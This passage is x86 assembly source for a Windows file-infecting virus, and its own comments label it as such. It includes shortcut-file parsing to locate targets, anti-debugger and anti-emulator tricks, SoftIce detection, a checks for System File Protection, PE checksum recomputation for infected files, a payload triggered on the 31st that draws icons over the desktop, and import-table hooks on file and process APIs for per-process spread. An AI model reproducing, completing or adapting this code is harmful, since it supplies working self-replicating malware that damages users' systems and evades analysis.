  812.     mov     edi,[@FindData.WFD_nFileSizeLow+ebp]
  813.     mov     esi,[@FindData.WFD_nFileSizeHigh+ebp]
  814.     call    FileMapping
  815.     or      eax,eax
  816.     jz      Extract@2               ; If error close file
  817.     mov     [@MapHandle+ebp],eax
  818.     call    MapViewOfFile           ; Map it now!
  819.     or      eax,eax
  820.     jz      Extract@3
  821.     mov     [@FileAddr+ebp],eax     ; Save the file Addr
  822.     mov     ecx,[eax]
  823.     cmp     ecx,'L'                 ; Check for Link valid file
  824.     jnz     Extract@4
  825.     mov     ecx,[eax+14h]           ; Look if file has item ID list
  826.     and     ecx,03h                 ;  and points to a file or dir
  827.     cmp     ecx,03h
  828.     jnz     Extract@4               ; If not skip and go out
  829.     mov     esi,eax
  830.     xor     eax,eax
  831.     add     esi,4Ch
  832.     lodsw
  833.     add     esi,eax                 ; Jump over item ID list
  834.     mov     ecx,[esi+08h]
  835.     and     ecx,01h                 ; Check we have local volume
  836.     jz      Extract@4
  837.     mov     eax,[esi+10h]           ; Go to the local volume
  838.     add     esi,eax
  839.     mov     edi,esi
  840.     call    GetStringLong
  841.     mov     ecx,eax                 ; Set some registers and copy it
  842.     lea     edi,[@FindData.WFD_szFileName+ebp]
  843.     cld
  844.     rep     movsb
  845. Extract@4:
  846.     mov     eax,[@FileAddr+ebp]     ; Unmap the Link file
  847.     call    UnmapViewOfFile
  848. Extract@3:
  849.     mov     eax,[@MapHandle+ebp]
  850.     call    CloseHandle             ; Close the mapped file
  851. Extract@2:
  852.     mov     eax,[@OpenHandle+ebp]
  853.     call    CloseHandle             ; And close the open file
  854. Extract@1:
  855.     pop     ecx edi
  856.     ret
  857. ExtractLink endp
  858.  
  859. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  860. ;#################################################################
  861. ;# Useful Functions
  862. ;#################################################################
  863. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  864.  
  865. ;#################################################################
  866. ;# Get Seed
  867. ;#  In: No Input
  868. ;#  Out: No Output
  869. ;#################################################################
  870. GetSeed proc
  871.     call    [@GetTickCount+ebp]
  872.     mov     [@Random+ebp],eax
  873.     ret
  874. GetSeed endp
  875.  
  876. ;#################################################################
  877. ;# Get Random
  878. ;#  In: No Input
  879. ;#  Out: eax=RandomValue
  880. ;#################################################################
  881. GetRandom proc
  882.     mov     eax,[@Random+ebp]
  883.     imul    eax,eax,65h
  884.     add     eax,0167h
  885.     mov     [@Random+ebp],eax
  886.     ret
  887. GetRandom endp
  888.  
  889. ;#################################################################
  890. ;# Align
  891. ;#  In: eax=ValueToAlign ecx=AlignFactor
  892. ;#  Out: eax=AlignedValue
  893. ;#################################################################
  894. Align proc
  895.     push    edx
  896.     xor     edx,edx                 ; Make edx zero
  897.     push    eax
  898.     div     ecx                     ; Div eax with ecx align factor
  899.     pop     eax
  900.     sub     ecx,edx                 ; Add to eax the rest to have
  901.     add     eax,ecx                 ;  an aligned value
  902.     pop     edx
  903.     ret
  904. Align endp
  905.  
  906. ;#################################################################
  907. ;# Trunc File
  908. ;#  In: ebx=Size to Move
  909. ;#  Out: (eax not zero) Error: eax=00h
  910. ;#################################################################
  911. TruncFile proc
  912.     xor     eax,eax
  913.     push    eax                     ; Pointer from start of file
  914.     push    eax
  915.     push    ebx                     ; Move this size
  916.     push    [@OpenHandle+ebp]       ; File handle
  917.     call    [@SetFilePointer+ebp]   ; Move the file pointer
  918.     push    [@OpenHandle+ebp]
  919.     call    [@SetEndOfFile+ebp]     ; And make this point the EOF
  920.     ret
  921. TruncFile endp
  922.  
  923. ;#################################################################
  924. ;# Anti Debug
  925. ;#  In: No Input
  926. ;#  Out: eax=01h (no debug) eax=00h (debug)
  927. ;#################################################################
  928. AntiDebug proc
  929.     push    ebp
  930. AntiEmul@1:
  931.     call    AntiEmul@2              ; Push in Stack the New Excp Handler
  932.     mov     esp,[esp+08h]           ; If Excp -> Set Stack and go out
  933.     jmp     AntiEmul@3
  934. AntiEmul@2:
  935.     xor     eax,eax
  936.     push    dword ptr fs:[eax]      ; Push in Stack old Excp Handler (Chain)
  937.     mov     fs:[eax],esp            ; Set new Excp Handler
  938.     div     eax                     ; Cause an Exception to fuck some emul/debug
  939.     jmp     AntiEmul@1
  940. AntiEmul@3:
  941.     xor     eax,eax
  942.     pop     dword ptr fs:[eax]      ; Recover old Excp Handler
  943.     pop     eax
  944.     pop     ebp
  945.     lea     esi,[@SoftIceA+ebp]
  946.     call    CreateFile              ; Try to check SoftIce debugger in win9X
  947.     inc     eax
  948.     jz      AntiDebug@2
  949.     dec     eax
  950.     call    CloseHandle
  951.     jmp     AntiDebug@1
  952. AntiDebug@2:
  953.     lea     esi,[@SoftIceB+ebp]
  954.     call    CreateFile              ; Try to check SoftIce debugger in winNT
  955.     inc     eax
  956.     jz      AntiDebug@3
  957.     dec     eax
  958.     call    CloseHandle
  959. AntiDebug@1:
  960.     xor     eax,eax                 ; Hummm... skip and go out
  961.     ret
  962. AntiDebug@3:
  963.     inc     eax                     ; Fine... no debugger present, go on!
  964.     ret
  965. AntiDebug endp
  966.  
  967. ;#################################################################
  968. ;# Create File
  969. ;#  In: esi->File Name
  970. ;#  Out: eax=OpenHandle Error: eax=-1
  971. ;#################################################################
  972. CreateFile proc
  973.     xor     eax,eax
  974.     push    eax                     ; Push normal values
  975.     push    eax
  976.     push    OPEN_EXISTING           ; Open a file if existing
  977.     push    eax
  978.     inc     eax
  979.     push    eax
  980.     push    GENERIC_READ or GENERIC_WRITE
  981.     push    esi                     ; With permision for read / write
  982.     call    [@CreateFileA+ebp]
  983.     ret
  984. CreateFile endp
  985.  
  986. ;#################################################################
  987. ;# File Mapping
  988. ;#  In: esi=FileSizeHigh edi=FileSizeLow eax=OpenHandle
  989. ;#  Out: eax=MapHandle Error: eax=00h
  990. ;#################################################################
  991. FileMapping proc
  992.     push    ebx
  993.     xor     ebx,ebx
  994.     push    ebx
  995.     push    edi                     ; File Size Low
  996.     push    esi                     ; File Size High
  997.     push    PAGE_READWRITE          ; Read / write permision in page
  998.     push    ebx
  999.     push    eax                     ; Open Handle
  1000.     call    [@CreateFileMappingA+ebp]
  1001.     pop     ebx
  1002.     ret
  1003. FileMapping endp
  1004.  
  1005. ;#################################################################
  1006. ;# Map View Of File
  1007. ;#  In: esi=FileSizeHigh edi=FileSizeLow eax=MapHandle
  1008. ;#  Out: eax=FileAddr Error: eax=00h
  1009. ;#################################################################
  1010. MapViewOfFile proc
  1011.     push    ebx
  1012.     xor     ebx,ebx
  1013.     push    edi                     ; File Size Low
  1014.     push    ebx
  1015.     push    ebx
  1016.     push    FILE_MAP_ALL_ACCESS     ; All type of access in map
  1017.     push    eax                     ; Map Handle
  1018.     call    [@MapViewOfFile+ebp]
  1019.     pop     ebx
  1020.     ret
  1021. MapViewOfFile endp
  1022.  
  1023. ;#################################################################
  1024. ;# Unmap View Of File
  1025. ;#  In: eax=FileAddr
  1026. ;#  Out: (eax not zero) Error: eax=00h
  1027. ;#################################################################
  1028. UnmapViewOfFile proc
  1029.     push    eax                     ; Push File Addr
  1030.     call    [@UnmapViewOfFile+ebp]
  1031.     ret
  1032. UnmapViewOfFile endp
  1033.  
  1034. ;#################################################################
  1035. ;# Close Handle
  1036. ;#  In: eax=Handle
  1037. ;#  Out: (eax not zero) Error: eax=00h
  1038. ;#################################################################
  1039. CloseHandle proc
  1040.     push    eax                     ; Push Open Handle
  1041.     call    [@CloseHandle+ebp]
  1042.     ret
  1043. CloseHandle endp
  1044.  
  1045. ;#################################################################
  1046. ;# Load Sfc Library
  1047. ;#  In: No Input
  1048. ;#  Out: No Output
  1049. ;#################################################################
  1050. LoadSfcLibrary proc
  1051.     lea     edi,[@SfcN+ebp]         ; Load SfcIsFileProtected api
  1052.     push    edi                     ; Can be in sfc.dll or in sfc_os.dll
  1053.     call    [@GetModuleHandleA+ebp] ;  so take care using GetProcAddress
  1054.     or      eax,eax
  1055.     jnz     LoadSfc@1
  1056.     push    edi
  1057.     call    [@LoadLibraryA+ebp]     ; Load the library
  1058.     or      eax,eax
  1059.     jz      LoadSfc@2
  1060. LoadSfc@1:
  1061.     lea     esi,[@SfcIsFileProtectedN+ebp]
  1062.     push    esi
  1063.     push    eax
  1064.     call    [@GetProcAddress+ebp]   ; And get the api address
  1065. LoadSfc@2:                              ; If SfcIsFileProtected=NULL then no Sfc present
  1066.     mov     [@SfcIsFileProtected+ebp],eax
  1067.     ret
  1068. LoadSfcLibrary endp
  1069.  
  1070. ;#################################################################
  1071. ;# Load New Library
  1072. ;#  In: edi->LibraryName esi->ApisCrc32Struct
  1073. ;#  Out: (eax not zero) Error: eax=00h
  1074. ;#################################################################
  1075. LoadNewLibrary proc
  1076.     push    edi
  1077.     call    [@GetModuleHandleA+ebp] ; Is the Lib in Memory?
  1078.     or      eax,eax
  1079.     jnz     LoadNew@1
  1080.     push    edi                     ; Nop, try to load Lib
  1081.     call    [@LoadLibraryA+ebp]
  1082.     or      eax,eax                 ; Check if we have the Lib Base
  1083.     jz      LoadNew@2
  1084. LoadNew@1:
  1085.     call    GetAllApiAddress        ; And get the Apis we need!
  1086. LoadNew@2:
  1087.     ret
  1088. LoadNewLibrary endp
  1089.  
  1090. ;#################################################################
  1091. ;# Free New Library
  1092. ;#  In: edi->LibraryName
  1093. ;#  Out: (eax not zero) Error: eax=00h
  1094. ;#################################################################
  1095. FreeNewLibrary proc
  1096.     push    edi
  1097.     call    [@GetModuleHandleA+ebp] ; Get the Lib Base in Memory
  1098.     or      eax,eax
  1099.     jz      FreeNew@1               ; If error, skip
  1100.     push    eax
  1101.     call    [@FreeLibrary+ebp]      ; And Free our memory space
  1102. FreeNew@1:
  1103.     ret
  1104. FreeNewLibrary endp
  1105.  
  1106. ;#################################################################
  1107. ;# Asciiz 2 Unicode
  1108. ;#  In: esi->FileNameAsciiz edi->Buffer
  1109. ;#  Out: edi->FileNameUnicode
  1110. ;#################################################################
  1111. Asciiz2Unicode proc
  1112.     push    esi edi                 ; We need an Unicode parameter
  1113.     xor     eax,eax                 ;  so make a sting change
  1114. Asciiz@1:
  1115.     lodsb                           ; Pass from byte to word char
  1116.     stosw
  1117.     or      eax,eax
  1118.     jnz     Asciiz@1
  1119.     pop     edi esi                 ; Now we have finished
  1120.     ret
  1121. Asciiz2Unicode endp
  1122.  
  1123. ;#################################################################
  1124. ;# Check Sum Mapped File
  1125. ;#  In: esi->@FileAddr ecx=@FileSize
  1126. ;#  Out: eax=CheckSumMappedFile Error: eax=00h
  1127. ;#################################################################
  1128. CheckSumMappedFile proc
  1129.     push    esi                     ; Save some registers
  1130.     push    ebx
  1131.     push    ecx
  1132.     inc     ecx
  1133.     shr     ecx,01h                 ; Is a Revised version of CheckSumMappedFile API
  1134.     call    PartialCheckSum         ; Call to make the partial CheckSum
  1135.     add     esi,[esi+3Ch]
  1136.     mov     bx,ax                   ; We have to make some changes after and...
  1137.     xor     edx,edx
  1138.     inc     edx
  1139.     mov     ecx,edx
  1140.     mov     ax,[esi+58h]            ; Get the actual file checksum
  1141.     cmp     bx,ax
  1142.     adc     ecx,-01h
  1143.     sub     bx,cx
  1144.     sub     bx,ax
  1145.     mov     ax,[esi+5Ah]
  1146.     cmp     bx,ax
  1147.     adc     edx,-01h
  1148.     sub     bx,dx
  1149.     sub     bx,ax
  1150.     xor     eax,eax
  1151.     mov     ax,bx
  1152.     pop     ecx
  1153.     add     eax,ecx                 ; Here is the CRC File CheckSum in eax
  1154.     pop     ebx                     ; Restore register and finish
  1155.     pop     esi
  1156.     ret
  1157. CheckSumMappedFile endp
  1158.  
  1159. ;#################################################################
  1160. ;# Partial Check Sum
  1161. ;#  In: esi->@FileAddr ecx=@FileSize
  1162. ;#  Out: eax=CheckSumMappedFile Error: eax=00h
  1163. ;#################################################################
  1164. PartialCheckSum proc
  1165.     push    esi                     ; Save register
  1166.     xor     eax,eax
  1167.     shl     ecx,01h
  1168.     je      PartialCheck@0
  1169.     test    esi,02h
  1170.     je      PartialCheck@1
  1171.     movzx   edx,word ptr[esi]       ; This is a version of the CheckSumMappedFile
  1172.     add     eax,edx                 ;  API... to make a CRC32 of Infected Files
  1173.     adc     eax,00h
  1174.     add     esi,02h
  1175.     sub     ecx,02h
  1176. PartialCheck@1:
  1177.     mov     edx,ecx                 ; Only makes the partial Check Sum, used by
  1178.     and     edx,07h                 ;  other process that calculate the final
  1179.     sub     ecx,edx                 ;  Check Sum of Mapped File
  1180.     je      PartialCheck@2
  1181.     test    ecx,08h
  1182.     je      PartialCheck@3
  1183.     add     eax,[esi]
  1184.     adc     eax,[esi+04h]
  1185.     adc     eax,00h
  1186.     add     esi,08h
  1187.     sub     ecx,08h
  1188.     je      PartialCheck@2
  1189. PartialCheck@3:                         ; Iteration 3
  1190.     test    ecx,10h
  1191.     je      PartialCheck@4
  1192.     add     eax,[esi]
  1193.     adc     eax,[esi+04h]
  1194.     adc     eax,[esi+08h]
  1195.     adc     eax,[esi+0Ch]
  1196.     adc     eax,00h
  1197.     add     esi,10h
  1198.     sub     ecx,10h
  1199.     je      PartialCheck@2
  1200. PartialCheck@4:                         ; Iteration 4
  1201.     test    ecx,20h
  1202.     je      PartialCheck@5
  1203.     add     eax,[esi]
  1204.     adc     eax,[esi+04h]
  1205.     adc     eax,[esi+08h]
  1206.     adc     eax,[esi+0Ch]
  1207.     adc     eax,[esi+10h]
  1208.     adc     eax,[esi+14h]
  1209.     adc     eax,[esi+18h]
  1210.     adc     eax,[esi+1Ch]
  1211.     adc     eax,00h
  1212.     add     esi,20h
  1213.     sub     ecx,20h
  1214.     je      PartialCheck@2
  1215. PartialCheck@5:                         ; Iteration 5
  1216.     test    ecx,40h
  1217.     je      PartialCheck@6
  1218.     add     eax,[esi]
  1219.     adc     eax,[esi+04h]
  1220.     adc     eax,[esi+08h]
  1221.     adc     eax,[esi+0Ch]
  1222.     adc     eax,[esi+10h]
  1223.     adc     eax,[esi+14h]
  1224.     adc     eax,[esi+18h]
  1225.     adc     eax,[esi+1Ch]
  1226.     adc     eax,[esi+20h]
  1227.     adc     eax,[esi+24h]
  1228.     adc     eax,[esi+28h]
  1229.     adc     eax,[esi+2Ch]
  1230.     adc     eax,[esi+30h]
  1231.     adc     eax,[esi+34h]
  1232.     adc     eax,[esi+38h]
  1233.     adc     eax,[esi+3Ch]
  1234.     adc     eax,00h
  1235.     add     esi,40h
  1236.     sub     ecx,40h
  1237.     je      PartialCheck@2
  1238. PartialCheck@6:                         ; Iteration 6
  1239.     add     eax,[esi]
  1240.     adc     eax,[esi+04h]
  1241.     adc     eax,[esi+08h]
  1242.     adc     eax,[esi+0Ch]
  1243.     adc     eax,[esi+10h]
  1244.     adc     eax,[esi+14h]
  1245.     adc     eax,[esi+18h]
  1246.     adc     eax,[esi+1Ch]
  1247.     adc     eax,[esi+20h]
  1248.     adc     eax,[esi+24h]
  1249.     adc     eax,[esi+28h]
  1250.     adc     eax,[esi+2Ch]
  1251.     adc     eax,[esi+30h]
  1252.     adc     eax,[esi+34h]
  1253.     adc     eax,[esi+38h]
  1254.     adc     eax,[esi+3Ch]
  1255.     adc     eax,[esi+40h]
  1256.     adc     eax,[esi+44h]
  1257.     adc     eax,[esi+48h]
  1258.     adc     eax,[esi+4Ch]
  1259.     adc     eax,[esi+50h]
  1260.     adc     eax,[esi+54h]
  1261.     adc     eax,[esi+58h]
  1262.     adc     eax,[esi+5Ch]
  1263.     adc     eax,[esi+60h]
  1264.     adc     eax,[esi+64h]
  1265.     adc     eax,[esi+68h]
  1266.     adc     eax,[esi+6Ch]
  1267.     adc     eax,[esi+70h]
  1268.     adc     eax,[esi+74h]
  1269.     adc     eax,[esi+78h]
  1270.     adc     eax,[esi+7Ch]
  1271.     adc     eax,00h
  1272.     add     esi,80h
  1273.     sub     ecx,80h
  1274.     jne     PartialCheck@6
  1275. PartialCheck@2:
  1276.     test    edx,edx
  1277.     je      PartialCheck@0
  1278. PartialCheck@7:                         ; Iteration 7
  1279.     movzx   ecx,word ptr[esi]
  1280.     add     eax,ecx
  1281.     adc     eax,00h
  1282.     add     esi,02h
  1283.     sub     edx,02h
  1284.     jne     PartialCheck@7
  1285. PartialCheck@0:
  1286.     mov     edx,eax
  1287.     shr     edx,10h
  1288.     and     eax,0000FFFFh
  1289.     add     eax,edx
  1290.     mov     edx,eax
  1291.     shr     edx,10h
  1292.     add     eax,edx                 ; Make a final logic and
  1293.     and     eax,0000FFFFh           ; Get the partial check sum
  1294.     pop     esi                     ; Pop registers
  1295.     ret
  1296. PartialCheckSum endp
  1297.  
  1298. ;#################################################################
  1299. ;# Get Delta
  1300. ;#  In: No Input
  1301. ;#  Out: ebp=DeltaOffset
  1302. ;#################################################################
  1303. GetDelta proc
  1304.     cld
  1305.     call    GetDelta@1              ; Just a strange get delta function
  1306. GetDelta@2:
  1307.     mov     esi,esp                 ; Let's look in Stack the return address
  1308.     lodsd
  1309.     jmp     GetDelta@3
  1310. GetDelta@1:
  1311.     xor     eax,eax
  1312.     jz      GetDelta@2
  1313. GetDelta@3:
  1314.     sub     eax,offset GetDelta@2
  1315.     mov     ebp,eax                 ; We have the delta offset in ebp
  1316.     add     esp,04h
  1317.     ret
  1318. GetDelta endp
  1319.  
  1320. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  1321. ;#################################################################
  1322. ;# Virus Payload
  1323. ;#################################################################
  1324. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  1325.  
  1326. ;#################################################################
  1327. ;# Payload
  1328. ;#  In: No Input
  1329. ;#  Out: No Output
  1330. ;#################################################################
  1331. Payload proc
  1332.     lea     eax,[@SystemTime+ebp]
  1333.     push    eax                     ; Get the actual date
  1334.     call    [@GetSystemTime+ebp]
  1335.     or      eax,eax
  1336.     jz      Pay@1
  1337.     cmp     word ptr[@SystemTime.wDay+ebp],1Fh
  1338.     jnz     Pay@1
  1339.     lea     edi,[@User32N+ebp]      ; If 31th let's rock!
  1340.     lea     esi,[@User32+ebp]       ; Loading some graphic apis
  1341.     call    LoadNewLibrary
  1342.     or      eax,eax
  1343.     jz      Pay@1
  1344.     call    RunPayload              ; And launch the graphic payload
  1345.     lea     edi,[@User32N+ebp]
  1346.     call    FreeNewLibrary          ; Be smart and free the library
  1347. Pay@1:
  1348.     ret
  1349. Payload endp
  1350.  
  1351. ;#################################################################
  1352. ;# Run Payload
  1353. ;#  In: No Input
  1354. ;#  Out: No Output
  1355. ;#################################################################
  1356. RunPayload proc
  1357.     xor     ebx,ebx                 ; First get the resolution of screen
  1358.     push    SM_CXSCREEN             ; Get the X width
  1359.     call    [@GetSystemMetrics+ebp]
  1360.     or      eax,eax
  1361.     jz      RunPay@1
  1362.     shr     eax,01h                 ; We want the center coords
  1363.     mov     [@Xcoord+ebp],eax       ; Get the Y width
  1364.     push    SM_CYSCREEN
  1365.     call    [@GetSystemMetrics+ebp]
  1366.     or      eax,eax
  1367.     jz      RunPay@1
  1368.     shr     eax,01h
  1369.     mov     [@Ycoord+ebp],eax
  1370.     push    ebx                     ; Handle of the Main Desktop window
  1371.     call    [@GetDC+ebp]
  1372.     or      eax,eax
  1373.     jz      RunPay@1
  1374.     mov     [@DeviceCtx+ebp],eax
  1375.     push    IDI_WARNING
  1376.     push    ebx
  1377.     call    [@LoadIconA+ebp]        ; Loading a Warning Icon
  1378.     or      eax,eax
  1379.     jz      RunPay@2
  1380.     mov     [@HandleIcon+ebp],eax
  1381.     call    DrawBioHazard           ; Well... ready for paint!!!
  1382. RunPay@2:
  1383.     mov     eax,[@DeviceCtx+ebp]
  1384.     push    eax                     ; Release the Main Desktop window
  1385.     push    ebx
  1386.     call    [@ReleaseDC+ebp]
  1387. RunPay@1:
  1388.     ret
  1389. RunPayload endp
  1390.  
  1391. ;#################################################################
  1392. ;# Draw Icon
  1393. ;#  In: esi=Xcoord edi=Ycoord
  1394. ;#  Out: (eax not zero) Error: eax=00h
  1395. ;#################################################################
  1396. DrawIcon proc
  1397.     push    [@HandleIcon+ebp]       ; Handle of warning Icon
  1398.     push    edi                     ; Y coord
  1399.     push    esi                     ; X coord
  1400.     push    [@DeviceCtx+ebp]        ; Device context (Main window)
  1401.     call    [@DrawIcon+ebp]         ; Draw an Icon
  1402.     ret
  1403. DrawIcon endp
  1404.  
  1405. ;#################################################################
  1406. ;# Draw Bio Hazard
  1407. ;#  In: No Input
  1408. ;#  Out: No Output
  1409. ;#################################################################
  1410. DrawBioHazard proc
  1411.     push    ebx
  1412.     mov     esi,[@Xcoord+ebp]       ; Save the center coords
  1413.     mov     edi,[@Ycoord+ebp]
  1414.     mov     ebx,0168h               ; Start with 360º
  1415. DrawBio@1:
  1416.     push    esi edi
  1417.     mov     [@Degrees+ebp],ebx
  1418.     fldpi
  1419.     fimul   dword ptr[@Degrees+ebp]
  1420.     fidiv   dword ptr[@Const+ebp]
  1421.     fcos
  1422.     fimul   dword ptr[@Radius+ebp]
  1423.     frndint
  1424.     fistp   dword ptr[@Result+ebp]
  1425.     add     esi,[@Result+ebp]       ; Get Radius * cos (Angle)
  1426.     fldpi
  1427.     fimul   dword ptr[@Degrees+ebp]
  1428.     fidiv   dword ptr[@Const+ebp]
  1429.     fsin
  1430.     fimul   dword ptr[@Radius+ebp]
  1431.     frndint
  1432.     fistp   dword ptr[@Result+ebp]
  1433.     sub     edi,[@Result+ebp]       ; Get Radius * sin (Angle)
  1434.     call    DrawIcon                ; And paint please
  1435.     sub     edi,70h                 ; We want four circles...
  1436.     cmp     ebx,3Ch                 ;  painting at the same time
  1437.     jb      DrawOk@1
  1438.     cmp     ebx,78h
  1439.     ja      DrawOk@1
  1440.     jmp     DrawBio@2
  1441. DrawOk@1:
  1442.     call    DrawIcon                ; Skip some parts and tachan!!!
  1443. DrawBio@2:
  1444.     sub     esi,61h                 ; We'll have a nice BioHazard picture
  1445.     add     edi,0A8h
  1446.     cmp     ebx,0B4h
  1447.     jb      DrawOk@2
  1448.     cmp     ebx,0F0h
  1449.     ja      DrawOk@2
  1450.     jmp     DrawBio@3
  1451. DrawOk@2:
  1452.     call    DrawIcon                ; And again the same
  1453. DrawBio@3:
  1454.     add     esi,0C2h
  1455.     cmp     ebx,012Ch
  1456.     jb      DrawOk@3
  1457.     cmp     ebx,0168h
  1458.     ja      DrawOk@3
  1459.     jmp     DrawBio@4
  1460. DrawOk@3:
  1461.     call    DrawIcon
  1462. DrawBio@4:
  1463.     pop     edi esi
  1464.     dec     ebx                     ; Well, another degree less
  1465.     jnz     DrawBio@1               ; Go on with the painting
  1466.     push    MB_ICONHAND
  1467.     call    [@MessageBeep+ebp]      ; Just play a Beep sound... tic, tac
  1468.     pop     ebx
  1469.     ret
  1470. DrawBioHazard endp
  1471.  
  1472. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  1473. ;#################################################################
  1474. ;# Virus Per-Process Residency
  1475. ;#################################################################
  1476. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  1477.  
  1478. ;#################################################################
  1479. ;# Set All Hooks
  1480. ;#  In: esi->ApisCrc32Struct edi->OffsetsHooksStruct
  1481. ;#  Out: (eax not zero) Error: eax=00h
  1482. ;#################################################################
  1483. SetAllHooks proc
  1484.     push    edi esi
  1485.     mov     ebx,[@ImageBase+ebp]
  1486.     mov     esi,ebx                 ; Take the Base Addr of Process
  1487.     add     esi,[ebx+3Ch]           ; Go to the PE header
  1488.     add     esi,80h                 ; And after... to the Import Table
  1489.     lodsd
  1490.     or      eax,eax                 ; Check if we have Import Table
  1491.     jz      SetAll@1
  1492.     add     eax,ebx
  1493.     mov     ecx,eax
  1494. SetAll@2:
  1495.     mov     esi,[ecx+0Ch]           ; Looking for Kernel32 import module
  1496.     or      esi,esi
  1497.     jz      SetAll@1
  1498.     add     esi,ebx
  1499.     lodsd
  1500.     or      eax,20202020h           ; Make LowCase the string
  1501.     cmp     eax,'nrek'
  1502.     jnz     SetAll@3
  1503.     lodsd
  1504.     or      eax,20202020h
  1505.     cmp     eax,'23le'
  1506.     jz      SetAll@4                ; We've the correct module, great!
  1507. SetAll@3:
  1508.     add     ecx,14h                 ; Ups!... give me another one
  1509.     jmp     SetAll@2
  1510. SetAll@4:
  1511.     mov     esi,[ecx+10h]           ; Go to FirstChunkData
  1512.     or      esi,esi                 ; If null go out
  1513.     jz      SetAll@1
  1514.     add     esi,ebx                 ; Set some register for a big double loop
  1515.     mov     ecx,esi
  1516.     pop     edi
  1517.     pop     ebx
  1518. SetAll@9:
  1519.     cmp     byte ptr[edi],0EEh      ; The last api to hook?
  1520.     jz      SetAll@5                ; If last go out
  1521.     mov     edx,[edi+04h]           ; Load the api address
  1522. SetAll@8:
  1523.     lodsd                           ; Load an address for Import Table
  1524.     or      eax,eax                 ; If last go back
  1525.     jz      SetAll@6
  1526.     cmp     edx,eax                 ; It's equal? yep... fine
  1527.     jnz     SetAll@8
  1528.     push    ecx
  1529.     call    [@GetCurrentProcess+ebp]
  1530.     xor     ecx,ecx
  1531.     sub     esi,04h                 ; Writing what we want in Import Table
  1532.     push    ecx
  1533.     push    04h
  1534.     mov     ecx,[ebx]
  1535.     add     ecx,ebp
  1536.     mov     [@Result+ebp],ecx       ; Just set the hooker function
  1537.     mov     ecx,esi
  1538.     lea     esi,[@Result+ebp]
  1539.     push    esi
  1540.     push    ecx
  1541.     push    eax
  1542.     call    [@WriteProcessMemory+ebp]
  1543.     pop     ecx
  1544. SetAll@6:
  1545.     add     edi,08h                 ; Go on with more Apis to hook
  1546.     add     ebx,04h
  1547.     mov     esi,ecx
  1548.     jmp     SetAll@9
  1549. SetAll@5:
  1550.     xor     eax,eax                 ; Fine... we have no errors
  1551.     inc     eax
  1552.     ret
  1553. SetAll@1:
  1554.     xor     eax,eax                 ; Ups... Sth gone wrong
  1555.     pop     esi edi
  1556.     ret
  1557. SetAllHooks endp
  1558.  
  1559. ;#################################################################
  1560. ;# Generic Hooks
  1561. ;#  In: No Input
  1562. ;#  Out: No Output
  1563. ;#################################################################
  1564.  
  1565. ;#################################################################
  1566. ;# Hook for CreateFileA
  1567. ;#################################################################
  1568. HookCreateFileA proc
  1569.     pushad                          ; Save registes
  1570.     pushfd
  1571.     call    GetDelta                ; Get the correct Delta
  1572.     mov     esi,[esp+28h]
  1573.     call    HookNewPath             ; Looking for a new path and Find Files
  1574.     mov     eax,[@CreateFileA+ebp]
  1575.     lea     edi,[@HookJumpA+ebp]    ; Set the next jump to the hooked api
  1576.     stosd
  1577.     popfd                           ; Pop registers
  1578.     popad
  1579.     push    20202020h
  1580. @HookJumpA      equ     $-4
  1581.     ret
  1582. HookCreateFileA endp
  1583.  
  1584. ;#################################################################
  1585. ;# Hook for MoveFileA
  1586. ;#################################################################
  1587. HookMoveFileA proc
  1588.     pushad                          ; Save registes
  1589.     pushfd
  1590.     call    GetDelta                ; Get the correct Delta
  1591.     mov     esi,[esp+28h]
  1592.     call    HookNewPath             ; Looking for a new path and Find Files
  1593.     mov     eax,[@MoveFileA+ebp]
  1594.     lea     edi,[@HookJumpB+ebp]    ; Set the next jump to the hooked api
  1595.     stosd
  1596.     popfd                           ; Pop registers
  1597.     popad
  1598.     push    20202020h
  1599. @HookJumpB      equ     $-4
  1600.     ret
  1601. HookMoveFileA endp
  1602.  
  1603. ;#################################################################
  1604. ;# Hook for CopyFileA
  1605. ;#################################################################
  1606. HookCopyFileA proc
  1607.     pushad                          ; Save registes
  1608.     pushfd
  1609.     call    GetDelta                ; Get the correct Delta
  1610.     mov     esi,[esp+28h]
  1611.     call    HookNewPath             ; Looking for a new path and Find Files
  1612.     mov     eax,[@CopyFileA+ebp]
  1613.     lea     edi,[@HookJumpC+ebp]    ; Set the next jump to the hooked api
  1614.     stosd
  1615.     popfd                           ; Pop registers
  1616.     popad
  1617.     push    20202020h
  1618. @HookJumpC      equ     $-4
  1619.     ret
  1620. HookCopyFileA endp
  1621.  
  1622. ;#################################################################
  1623. ;# Hook for CreateProcessA
  1624. ;#################################################################
  1625. HookCreateProcessA proc
  1626.     pushad                          ; Save registes
  1627.     pushfd
  1628.     call    GetDelta                ; Get the correct Delta
  1629.     mov     esi,[esp+28h]
  1630.     call    HookNewPath             ; Looking for a new path and Find Files
  1631.     mov     eax,[@CreateProcessA+ebp]
  1632.     lea     edi,[@HookJumpD+ebp]    ; Set the next jump to the hooked api
  1633.     stosd
  1634.     popfd                           ; Pop registers
  1635.     popad
  1636.     push    20202020h
  1637. @HookJumpD      equ     $-4
  1638.     ret
  1639. HookCreateProcessA endp
  1640.  
  1641. ;#################################################################
  1642. ;# Hook for SetFileAttributesA
  1643. ;#################################################################
  1644. HookSetFileAttributesA proc
  1645.     pushad                          ; Save registes
  1646.     pushfd
  1647.     call    GetDelta                ; Get the correct Delta
  1648.     mov     esi,[esp+28h]
  1649.     call    HookNewPath             ; Looking for a new path and Find Files
  1650.     mov     eax,[@SetFileAttributesA+ebp]
  1651.     lea     edi,[@HookJumpE+ebp]    ; Set the next jump to the hooked api
  1652.     stosd
  1653.     popfd                           ; Pop registers
  1654.     popad
  1655.     push    20202020h
  1656. @HookJumpE      equ     $-4
  1657.     ret
  1658. HookSetFileAttributesA endp
  1659.  
  1660. ;#################################################################
  1661. ;# Hook for GetFileAttributesA
  1662. ;#################################################################
  1663. HookGetFileAttributesA proc
  1664.     pushad                          ; Save registes
